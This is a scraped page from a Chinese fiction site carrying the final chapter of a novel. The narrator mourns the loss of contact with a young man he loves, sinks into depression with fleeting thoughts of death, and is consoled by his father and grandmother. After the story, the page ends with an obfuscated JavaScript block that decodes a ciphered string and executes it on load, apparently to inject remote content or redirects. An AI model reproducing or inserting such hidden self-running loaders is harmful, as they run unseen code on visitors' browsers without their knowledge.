返回

容我一生思念远方

首页
关灯
护眼
字体:
第八章 哀伤落幕,再无繁华
(手机请访问 m.duxs8.com); 时间久了,身体越来越差了,思念却是一点没少,每日游走在繁华的都市,心情时而欢呼时而阴郁,纪远把我删了之后,我整整哭了三天。父母怎么劝都劝不住,问我心里有什么事情,我也只是摇头。

她姐姐出言有些暴躁,我也是略显冲动地删除,回首去看,就算我不删除,也只不过等他姐姐骂够了之后把我删除,因为他的朋友基本如此。亦或是冷言相对,亦或是寻我玩笑,随即删去,他们和纪远熟悉,我不管怎么说,都是一个外人,他们的心中只相信自己熟悉人的话,别人的话有道理但不一定有用,熟悉人的话没道理,但很有用。

他的朋友都以为我是无赖,我喜欢男的,每天都在纠缠纪远,可是纪远还在安心的上学,无非三言两语便将我虚构的体无完肤。

我从来没有怪过他,因为他也有苦衷,自己想要的生活,因为我,他的生活发生了变化,不管我怎么样,但总之影响到了他。

这些都是我觉得,他的生活在长丰,我的生活在谯城,仅仅想象他而已,或许他现在很快乐也说不准,我时常还会去看下他的游戏记录,有时半天都在玩游戏。我见到这种情况,总会央求朋友给他发条信息,“少玩游戏多看书,没事可以考个驾照。”

这种关心都是石沉大海,杳无音信,我也不指望他回我消息,毕竟也不是我的手机,只希望他能看到,或者尝试着去这样做,我终究是过来人,以哥哥的身份这样说话也并无不妥。

信息这种事情都是我一厢情愿的,那天我没了联系方式,纪远再也没有加回来,我尝试许多种方法都是失败,在床上躺着,父亲在一旁也是止不住地掉眼泪,我不知道该怎么解释。我也不想解释,只想哭下去,亦或是这样虚弱下去,等着死亡,而后再也不来这人间走一遭,惹得遍体鳞伤。

出门沿着南边的大道走了几百米,心情异常压抑,说不出的苦楚,看看天地,看看草木,一阵秋风,一片落叶,若是心情舒畅,自是美不胜收。可是心中的事情却怎么也忘不掉,时时刻刻念起,倒是有种病态的折磨,在全身蔓延,纪远的学校很远,我不敢过去,他现在对我除了厌烦,便再无其他可说。

想着他姐姐的那般态度,我更是无奈,期间我父母倒是和纪远联系几次,我始终以朋友的关系告诉父母,免得引起怀疑,纪远答应的真切。不过是为了稳住我的父母,我心满意足,记得当初在巢湖的时候,说好的一年半,也不知为何所有的一切全部改变。

“你说一年半长吗?”我笑着问道。

“挺长的时间了。”他说。

“算是吧,估计就是石头放在一起一年半都能有感情。”

他点了点头,没有反驳,回头看去,石头哪能有感情啊,感情越深,越是害自己,别人轻松脱离苦海,你还在泥潭挣扎。

在绿道上摇晃着行走,父亲打来电话,二姐打来电话,大姨和大姑打来电话,都害怕我出了问题,因为我眼上的伤还没有好,怕我感染,另外我身体极度的虚浮。走两步都要休息一会儿,时间根本改变不了什么,我想着,往家的方向走去,那个我没有思念的家。

回到房间内,我坐在电脑桌前,继续放着《盗将行》,我从认识纪远,就喜欢这首歌,那时候听着还能哼几句,当时只顾着流泪。甚至多少次只要听到这首歌,我便毫无由来地去思念纪远,而且久久不能忘怀。

我爸就在我旁边坐在,比回来的那几天瘦了很多,完全都是因为我的事情,本来父母是常年在外务工,而我在市区工作,幸福家庭不外乎如此。可是因为人生中有个重要的人,忽然来了,我心花怒放,却又忽然走了,我一蹶不振,想着去死,去结束这无能为力地一生,看着父母回来,我心又软了,纪远还好好的,父母也在旁边,我死了有什么用,况且还会影响那么多人,这些都是我后来想的,当时只想着死呢。

“你到底是怎么了。”我爸说。

我哭着摇了摇头,我爸的眼圈红了,两鬓尽是白发,他把左手放在自己的后脑勺,右手则是时不时擦一下眼泪,父子两人在房间内啜泣。我因为思念纪远而哭,父亲因为我瘦弱抑郁的心情而哭,房间内的歌声已经听不见了,我大姑把我父亲拉了出去,我起身关上房门,歌声再次响起,我眼泪根本止不住。

不知过了多久,我父亲走了进来,拍了拍我的肩膀,颇为低声地说道:“我们回家看看吧。”这个家指的是我奶奶家,我自从高中之后,一直住在姥姥家,只不过偶尔回一趟奶奶家中,老家的房子还是红砖黑瓦,多少年都没有翻修了。

我没有说话,父亲再次沉默,我有些茫然,只知道摇头,整整两个小时,临近中午,我向父亲说道:“回家吧。”

父亲有些兴奋,不过眼泪依旧再流,用手扶着我,那时我的身体已经极度虚弱,脸色发白,一阵风就能把我吹走似的,坐在前面的车厢中。我眼神迷离,父亲看着我,把车窗关上,又用手擦了擦眼角,因为我的事情,父亲已经好些时间没有正常休息了,我想关心,可是我如此尚且自顾不暇。

“别哭了,一会儿就到家。”我爸带着泪,笑着说道。

我如何能忍住不哭,所有的诀别都没有那天最严重,一下子全部消失了,至今都没有任何的消息,现在之所以心情平复,无非能够看到他整天游戏在线吧。游戏我已经很少玩了,没有他的那些时日,我对什么都不感兴趣,每天不过看看《挪威的森林》,而后睡觉。

那天到家的时候,奶奶不在,我从车上下来,和父亲打声招呼便进了大门,家中很简约,正面三间堂屋,右边厨房,左边西屋,厨房和西屋南边各种了一些小菜,都是我奶奶种地,另外便是我叔种的月季,除了蒜苗是青葱的,其他早已被凌冽的秋风折磨的体无完肤。

我左右看看,在西屋的窗户前找到了堂屋的钥匙,开了门坐在西间床前,我眼泪再一次止不住地留下来,我想着这种情况不应该发生在我身上,我不过是普通大众百姓,所有的事情总该有人承担,可是最终却落到了我的头上。纪远一直在学校,我不敢过去,他或许早就心存厌恶,可是我丝毫想不出来任何让他反感的理由,最多也是国庆期间的动手动脚,多少有些过分,心中的那点私欲而已吧。

父亲从冰箱内拿出饺子,问我吃不吃,我当时疲惫至极,不知道该干什么,只是不停的哽咽,因为只有如此,我便不知道该怎么办了,所有的情况都比我想象的差,流血受伤最近一直在我身上发生,两次在救护车上不知死活,加上连日吃饭情况愈加难受,我有些晕头转向。父亲的话只一遍,我便摇头不止,而后声泪俱下,父亲挠了挠头,也不再说话,便在屋檐下坐着,整个房屋都寂静了。

不知过了多长时间,我奶奶回来了,年纪已经七十多了,我依稀能够听到他的声音,在和隔壁的老奶奶说话,而后进门。

“怎么回来了。”我奶奶声音很大地说道。

“你去看看李飞吧。”父亲说。

我只听到外面静了下来,奶奶很快走到屋内,看我在床前哭的泪水模糊,直接坐在我身旁,“这又是怎么了?”

“上次也是这样哭着过来,好好的怎么又这样了。”我奶奶低声问道。

我只是摇头,上次哭着过来,因为纪远把我删了,而后我心中不知所解,只得回到奶奶家中冷静,那个时候我还相信纪远能回来,和奶奶说了几句话,我就高兴地离开了。这次也是如此,只是这次我相信纪远不会再回来了,所以哭得很痛苦,而且眉毛上还有伤,针线裸露在外面,多少有些吓人。

“这是怎么了,才几天,怎么瘦成这个样子了,要是不喜欢住在姥姥家,就回来,房子虽然破点,但是什么都有。”我能听到奶奶声音中夹杂着颤抖,我没有抬头,也知道奶奶也流泪了。

“家里面就你自己,到底怎么了。”我奶奶在旁边终究哭了出来。

说来我爷爷有三个孩子,一个女儿是我大姑,我父亲排行第二,还有一个叔叔,我是家中的独生子,叔叔家只有一个女儿,因此到了我这一代,我们家中就我勉强算得上顶梁柱。农村人重男轻女,谁不想传宗接代,生两个女娃,再生一个的大有人在,可我倒好,没有结婚的*,反而还喜欢上一个男的,我耻于开口,故而摇头,害怕这种做法影响到奶奶的身体,从始至终只能沉默。

我姑姑没过多久也赶了过来,见我坐在床头,上前安慰几句,随即让我父亲去集市上买点东西,我看上去着实有些憔悴,那阵能够熬过来也是福大命大。就是在今天,我心情依旧有些抑郁,不过偶尔的事情吧,大多数时间我在别人面前依旧是笑口常开的,免得惹来不必要的关系断裂。

父亲从冰箱里拿出来些面条,我没有吃饭,坐着又是一个小时,我才起身回去,当时的眼泪都哭干了,我都不知道自己再为谁而哭泣。回到家中我站起来的力气都没了,只得侧身躺在床上。

眼泪根本就没有停止过,整个人就像失去思想一样,父亲在我旁边说了几句话,我什么也没听清,然后就下楼去了。我在房间里,在想着纪远,他应该还在打游戏吧,很开心的玩游戏,他还好好的,我这么做到底为了什么呢,他一辈子都不会原谅我,尽管我任何错事都没有做,但是人不会以对错而产生对错的想法。我逐渐冷静,毕竟他很快乐,而且他就在巢湖,我以后去见他便是了。

我想着他便缓缓睡去了,父亲直到晚上才回来,我询问过之后才知道,原来父亲去了镇上求神仙去了,我听后又是一阵心酸。我父亲向来不信鬼神,但是因为我的事情,竟然有些幼稚地去拜仙求佛,以为我被邪物侵袭,这是多么无助的做法,以及多么疼爱自己的孩子才会信这种东西。

晚上的时候,我勉强吃点东西,逐渐忘却纪远,想念还是可以的,最起码是不能把情绪外化出来,否则影响的便是一家人了。经过一段时间的思考,我逐渐明白,爱情这东西永远都是一个人的事情,但是考虑付出,未免有些不彻底了,谁也不明白别人对你有多好,但是明白自己对谁好就行了。

我忘不了纪远,至今也是,以前想着忘掉,但是现在觉得记着挺好,以后说不定还能见面呢,那时候真不知道是个什么样的场景,切莫对我冷眼相待,我便心满意足了,这是我毕生的愿望。

至今我还会偶尔给纪远买些东西,想着以后若是见面了,真不知道说些什么好呢,姑且想着吧,早晚必见于远方,希望那个时候他还记得有我这个人就好。

完结。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();